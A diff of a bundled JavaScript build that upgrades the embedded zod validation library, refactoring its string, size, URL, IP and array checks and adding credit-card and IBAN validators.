$ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -48698,26 +49072,18 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 <= def.maximum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -48726,26 +49092,18 @@ var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, d var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 >= def.minimum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -48754,24 +49112,15 @@ var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, d var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.size; - bag.maximum = def.size; - bag.size = def.size; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 === def.size) return; const tooBig = size2 > def.size; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, inclusive: true, exact: true, @@ -48784,27 +49133,20 @@ var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (i var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units > def.maximum ? codePointLength(input2) : units; if (length <= def.maximum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -48813,27 +49155,20 @@ var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (ins var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input2) : units; if (length >= def.minimum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -48842,22 +49177,14 @@ var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (ins var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.length; - bag.maximum = def.length; - bag.length = def.length; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.length && units <= def.length * 2 ? codePointLength(input2) : units; if (length === def.length) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); const tooBig = length > def.length; payload.issues.push({ origin, @@ -48873,14 +49200,6 @@ var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals" var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { var _a3, _b; $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - if (def.pattern) { - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(def.pattern); - } - }); if (def.pattern) (_a3 = inst._zod).check ?? (_a3.check = (payload) => { def.pattern.lastIndex = 0; @@ -48928,13 +49247,8 @@ var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (ins var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { $ZodCheck.init(inst, def); const escapedRegex = escapeRegex(def.includes); - const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position},}${escapedRegex}` : escapedRegex); def.pattern = pattern; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.includes(def.includes, def.position)) return; @@ -48953,11 +49267,6 @@ var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (i $ZodCheck.init(inst, def); const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.startsWith(def.prefix)) return; @@ -48976,11 +49285,6 @@ var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, $ZodCheck.init(inst, def); const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.endsWith(def.suffix)) return; @@ -49014,12 +49318,37 @@ var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, return; }; }); +var $ZodCheckProperties = /* @__PURE__ */ $constructor("$ZodCheckProperties", (inst, def) => { + $ZodCheck.init(inst, def); + hide(inst, Symbol.iterator, function* () { + yield inst; + }); + let entries; + inst._zod.check = (payload) => { + if (payload.value == null) { + payload.issues.push({ expected: "object", code: "invalid_type", input: payload.value, inst }); + return void 0; + } + entries ?? (entries = Reflect.ownKeys(def.shape).map((key) => [key, def.shape[key]])); + const input2 = payload.value; + let proms; + for (const [key, schema] of entries) { + const result = schema._zod.run({ value: input2[key], issues: [] }, {}); + if (result instanceof Promise) { + proms ?? (proms = []); + proms.push(result.then((result2) => handleCheckPropertyResult(result2, payload, key))); + } else { + handleCheckPropertyResult(result, payload, key); + } + } + if (proms) + return Promise.all(proms).then(() => void 0); + return void 0; + }; +}); var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { $ZodCheck.init(inst, def); const mimeSet = new Set(def.mime); - inst._zod.onattach.push((inst2) => { - inst2._zod.bag.mime = def.mime; - }); inst._zod.check = (payload) => { if (mimeSet.has(payload.value.type)) return; @@ -49039,18 +49368,22 @@ var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (ins }; }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/doc.js var Doc = class { - constructor(args = []) { + constructor(args = [], closed = {}) { this.content = []; this.indent = 0; - if (this) - this.args = args; + this.args = args; + this.closed = closed; } + // the compiler catches a child's throw and keeps writing into this doc, so the indent has to unwind with it indented(fn) { this.indent += 1; - fn(this); - this.indent -= 1; + try { + fn(this); + } finally { + this.indent -= 1; + } } write(arg) { if (typeof arg === "function") { @@ -49068,31 +49401,30 @@ var Doc = class { } compile() { const F = Function; - const args = this?.args; const content = this?.content ?? [``]; - const lines = [...content.map((x) => ` ${x}`)]; - return new F(...args, lines.join("\n")); + const factory = new F(...Object.keys(this.closed), `return function (${this.args.join(", ")}) { +${content.join("\n")} +};`); + return factory(...Object.values(this.closed)); } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/versions.js var version = { major: 4, - minor: 4, - patch: 3 + minor: 6, + patch: 6 }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/schemas.js var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { var _a3; inst ?? (inst = {}); inst._zod.def = def; inst._zod.bag = inst._zod.bag || {}; inst._zod.version = version; - const checks = [...inst._zod.def.checks ?? []]; - if (inst._zod.traits.has("$ZodCheck")) { - checks.unshift(inst); - } + const defChecks = inst._zod.def.checks; + const checks = inst._zod.traits.has("$ZodCheck") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : []; for (const ch of checks) { for (const fn of ch._zod.onattach) { fn(inst); @@ -49105,6 +49437,8 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { }); } else { const runChecks = (payload, checks2, ctx) => { + if (payload.memo) + return payload; let isAborted = aborted(payload); let asyncResult; for (const ch of checks2) { @@ -49128,6 +49462,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) return; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); }); @@ -49135,6 +49470,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) continue; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); } @@ -49181,22 +49517,39 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { return runChecks(result, checks, ctx); }; } - defineLazy(inst, "~standard", () => ({ +}, { + // Wrappers extend this by installing a richer factory over it; reading it eagerly would defeat the laziness. + get "~standard"() { + return hide(this, "~standard", standardProps(this)); + }, + set "~standard"(value) { + own(this, "~standard", value); + } +}); +var toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value }; +async function validateAsync2(inst, value) { + const ctx = { async: true }; + return toStandardResult(await inst._zod.run({ value, issues: [] }, ctx), ctx); +} +function standardProps(inst) { + return { validate: (value) => { + const ctx = { async: false }; try { - const r = safeParse(inst, value); - return r.success ? { value: r.data } : { issues: r.error?.issues }; + const r = inst._zod.run({ value, issues: [] }, ctx); + if (!(r instanceof Promise)) + return toStandardResult(r, ctx); } catch (_) { - return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); } + return validateAsync2(inst, value); }, vendor: "zod", version: 1 - })); -}); + }; +} var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.pattern = def.pattern ?? anyString; inst._zod.parse = (payload, _) => { if (def.coerce) try { @@ -49246,58 +49599,105 @@ var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { def.pattern ?? (def.pattern = email); $ZodStringFormat.init(inst, def); }); +var URL_BAD_FORMAT = 1; +var URL_UNPARSEABLE = 2; +function canParseURL(input2) { + try { + if (typeof URL !== "undefined" && typeof URL.canParse === "function") + return URL.canParse(input2); + new URL(input2); + return true; + } catch { + return false; + } +} +function validateURL(trimmed, def) { + if (!("normalize" in def) && !("hostname" in def) && !("protocol" in def)) { + return canParseURL(trimmed) || URL_UNPARSEABLE; + } + return parseURLObject(trimmed, def); +} +function parseURLObject(trimmed, def) { + if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\/\//i.test(trimmed)) { + return URL_BAD_FORMAT; + } + try { + if (typeof URL !== "undefined") { + const URLStatic = URL; + if (typeof URLStatic.parse === "function") + return URLStatic.parse(trimmed) ?? URL_UNPARSEABLE; + } + return new URL(trimmed); + } catch { + return URL_UNPARSEABLE; + } +} +var asciiTabOrNewline = /[\t\n\r]/g; +function stripTabAndNewline(value) { + return value.replace(asciiTabOrNewline, ""); +} +function urlHostnameOk(url2, hostname3) { + hostname3.lastIndex = 0; + return hostname3.test(url2.hostname); +} +function urlProtocolOk(url2, protocol) { + protocol.lastIndex = 0; + return protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol); +} var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { try { const trimmed = payload.value.trim(); - if (!def.normalize && def.protocol?.source === httpProtocol.source) { - if (!/^https?:\/\//i.test(trimmed)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid URL format", - input: payload.value, - inst, - continue: !def.abort - }); - return; - } + const url2 = validateURL(trimmed, def); + if (url2 === URL_BAD_FORMAT) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - const url2 = new URL(trimmed); - if (def.hostname) { - def.hostname.lastIndex = 0; - if (!def.hostname.test(url2.hostname)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid hostname", - pattern: def.hostname.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === URL_UNPARSEABLE) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - if (def.protocol) { - def.protocol.lastIndex = 0; - if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid protocol", - pattern: def.protocol.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === true) { + payload.value = stripTabAndNewline(trimmed); + return; } - if (def.normalize) { - payload.value = url2.href; - } else { - payload.value = trimmed; + if (def.hostname && !urlHostnameOk(url2, def.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + if (def.protocol && !urlProtocolOk(url2, def.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); } + payload.value = def.normalize ? url2.href : stripTabAndNewline(trimmed); return; } catch (_) { payload.issues.push({ @@ -49315,7 +49715,9 @@ var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { $ZodStringFormat.init(inst, def); }); var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { - def.pattern ?? (def.pattern = nanoid); + if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) + throw new Error(`Invalid nanoid length: ${def.length}`); + def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length)); $ZodStringFormat.init(inst, def); }); var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { @@ -49357,16 +49759,18 @@ var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { def.pattern ?? (def.pattern = ipv4); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv4`; }); +var ipv6Alphabet = /^[0-9a-fA-F:.]+$/; +function isValidIPv6(value) { + if (!ipv6Alphabet.test(value)) + return false; + return canParseURL(`http://[${value}]`); +} var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { def.pattern ?? (def.pattern = ipv6); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv6`; inst._zod.check = (payload) => { - try { - new URL(`http://[${payload.value}]`); - } catch { + if (!isValidIPv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "ipv6", @@ -49380,30 +49784,30 @@ var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { def.pattern ?? (def.pattern = mac(def.delimiter)); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `mac`; }); var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { def.pattern ?? (def.pattern = cidrv4); $ZodStringFormat.init(inst, def); }); +function isValidCIDRv6(value) { + const parts = value.split("/"); + if (parts.length !== 2) + return false; + const [address, prefix] = parts; + if (!prefix) + return false; + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + return false; + if (prefixNum < 0 || prefixNum > 128) + return false; + return isValidIPv6(address); +} var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { def.pattern ?? (def.pattern = cidrv6); $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { - const parts = payload.value.split("/"); - try { - if (parts.length !== 2) - throw new Error(); - const [address, prefix] = parts; - if (!prefix) - throw new Error(); - const prefixNum = Number(prefix); - if (`${prefixNum}` !== prefix) - throw new Error(); - if (prefixNum < 0 || prefixNum > 128) - throw new Error(); - new URL(`http://[${address}]`); - } catch { + if (!isValidCIDRv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "cidrv6", @@ -49428,10 +49832,10 @@ function isValidBase64(data) { return false; } } +var base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/; var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { - def.pattern ?? (def.pattern = base64); + def.pattern ?? (def.pattern = base64Charset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64"; inst._zod.check = (payload) => { if (isValidBase64(payload.value)) return; @@ -49444,17 +49848,17 @@ var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { }); }; }); +var base64urlCharset = /^[A-Za-z0-9_-]*$/; function isValidBase64URL(data) { - if (!base64url.test(data)) + if (!base64urlCharset.test(data)) return false; const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); return isValidBase64(padded); } var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { - def.pattern ?? (def.pattern = base64url); + def.pattern ?? (def.pattern = base64urlCharset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64url"; inst._zod.check = (payload) => { if (isValidBase64URL(payload.value)) return; @@ -49471,6 +49875,71 @@ var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { def.pattern ?? (def.pattern = e164); $ZodStringFormat.init(inst, def); }); +var CC_SANITIZE = /[- ]/g; +function isLuhnAlgo(digits) { + let length = digits.length; + let bit2 = 1; + let sum = 0; + while (length) { + const value = digits.charCodeAt(--length) - 48; + bit2 ^= 1; + sum += bit2 ? [0, 2, 4, 6, 8, 1, 3, 5, 7, 9][value] : value; + } + return sum % 10 === 0; +} +function isValidCreditCard(input2) { + if (!creditCard.test(input2)) + return false; + return isLuhnAlgo(input2.replace(CC_SANITIZE, "")); +} +var $ZodCreditCard = /* @__PURE__ */ $constructor("$ZodCreditCard", (inst, def) => { + def.pattern ?? (def.pattern = creditCard); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidCreditCard(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "credit_card", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isIso7064Mod97(iban3) { + let remainder = 0; + const len = iban3.length; + for (let i = 4; i < len; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + for (let i = 0; i < 4; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + return remainder === 1; +} +function isValidIBAN(input2) { + if (!iban.test(input2)) + return false; + return isIso7064Mod97(input2); +} +var $ZodIBAN = /* @__PURE__ */ $constructor("$ZodIBAN", (inst, def) => { + def.pattern ?? (def.pattern = iban); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidIBAN(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "iban", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); function isValidJWT(token, algorithm = null) { try { const tokensParts = token.split("."); @@ -49521,22 +49990,22 @@ var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringForma }); var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.pattern = number; inst._zod.parse = (payload, _ctx) => { if (def.coerce) try { payload.value = Number(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + const input2 = payload.value; + if (typeof input2 === "number" && !Number.isNaN(input2) && Number.isFinite(input2)) { return payload; } - const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + const received = typeof input2 === "number" ? Number.isNaN(input2) ? "NaN" : !Number.isFinite(input2) ? String(input2) : void 0 : void 0; payload.issues.push({ expected: "number", code: "invalid_type", - input, + input: input2, inst, ...received ? { received } : {} }); @@ -49556,13 +50025,13 @@ var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { payload.value = Boolean(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "boolean") + const input2 = payload.value; + if (typeof input2 === "boolean") return payload; payload.issues.push({ expected: "boolean", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49595,13 +50064,13 @@ var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, d var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "symbol") + const input2 = payload.value; + if (typeof input2 === "symbol") return payload; payload.issues.push({ expected: "symbol", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49612,13 +50081,13 @@ var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => inst._zod.pattern = _undefined; inst._zod.values = /* @__PURE__ */ new Set([void 0]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "undefined", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49629,13 +50098,13 @@ var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { inst._zod.pattern = _null; inst._zod.values = /* @__PURE__ */ new Set([null]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input === null) + const input2 = payload.value; + if (input2 === null) return payload; payload.issues.push({ expected: "null", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49664,13 +50133,13 @@ var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "void", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49685,21 +50154,46 @@ var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { } catch (_err) { } } - const input = payload.value; - const isDate = input instanceof Date; - const isValidDate = isDate && !Number.isNaN(input.getTime()); + const input2 = payload.value; + const isDate = input2 instanceof Date; + const isValidDate = isDate && !Number.isNaN(input2.getTime()); if (isValidDate) return payload; payload.issues.push({ expected: "date", code: "invalid_type", - input, + input: input2, ...isDate ? { received: "Invalid Date" } : {}, inst }); return payload; }; }); +function capSize(inst, size2) { + const caps = sizeCaps(inst._zod.def.checks); + if (!caps.length) + return; + const cap = Math.min(...caps.map((c) => c[0])); + const parse4 = inst._zod.parse; + inst._zod.parse = (payload, ctx) => { + const n = size2(payload.value); + if (n > cap && !ctx?.skipChecks && ctx?.direction !== "backward") { + for (const [max, ch] of sizeCaps(inst._zod.def.checks)) { + if (n > max && ch._zod.def.when(payload)) { + const start = payload.issues.length; + ch._zod.check(payload); + payload.issues[start].continue = false; + attachSchema(payload.issues, start, inst); + return payload; + } + } + } + return parse4(payload, ctx); + }; +} +var arraySize = (input2) => Array.isArray(input2) ? input2.length : -1; +var mapSize = (input2) => input2 instanceof Map ? input2.size : -1; +var setSize = (input2) => input2 instanceof Set ? input2.size : -1; function handleArrayResult(result, final, index2) { if (result.issues.length) { final.issues.push(...prefixIssues(index2, result.issues)); @@ -49708,21 +50202,24 @@ function handleArrayResult(result, final, index2) { } var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ expected: "array", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = Array(input.length); + payload.value = memo2 ? memo2.alloc(inst, payload, Array(input2.length), ctx) : Array(input2.length); const proms = []; - for (let i = 0; i < input.length; i++) { - const item = input[i]; + const abortEarly = ctx?.abortEarly; + for (let i = 0; i < input2.length; i++) { + const item = input2[i]; const result = def.element._zod.run({ value: item, issues: [] @@ -49731,6 +50228,8 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { proms.push(result.then((result2) => handleArrayResult(result2, payload, i))); } else { handleArrayResult(result, payload, i); + if (abortEarly && result.issues.length !== 0 && aborted(result)) + break; } } if (proms.length) { @@ -49738,16 +50237,21 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { } return payload; }; + capSize(inst, arraySize); }); -function handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) { - const isPresent = key in input; +function handlePropertyResult(result, final, key, input2, optin, optout) { + const isPresent = key in input2; + const isOptionalOut = optout === "optional"; + if (!isPresent && isOptionalOut && optin === "optional") { + return; + } if (result.issues.length) { - if (isOptionalIn && isOptionalOut && !isPresent) { + if (optin !== void 0 && isOptionalOut && !isPresent) { return; } final.issues.push(...prefixIssues(key, result.issues)); } - if (!isPresent && !isOptionalIn) { + if (!isPresent && optin === void 0) { if (!result.issues.length) { final.issues.push({ code: "invalid_type", @@ -49759,58 +50263,75 @@ function handlePropertyResult(result, final, key, input, isOptionalIn, isOptiona return; } if (result.value === void 0) { - if (isPresent) { + if (isPresent || optin === "defaulted" && !isOptionalOut) { final.value[key] = void 0; } } else { final.value[key] = result.value; } } +var NO_SYMBOL_KEYS = []; function normalizeDef(def) { const keys = Object.keys(def.shape); - for (const k of keys) { 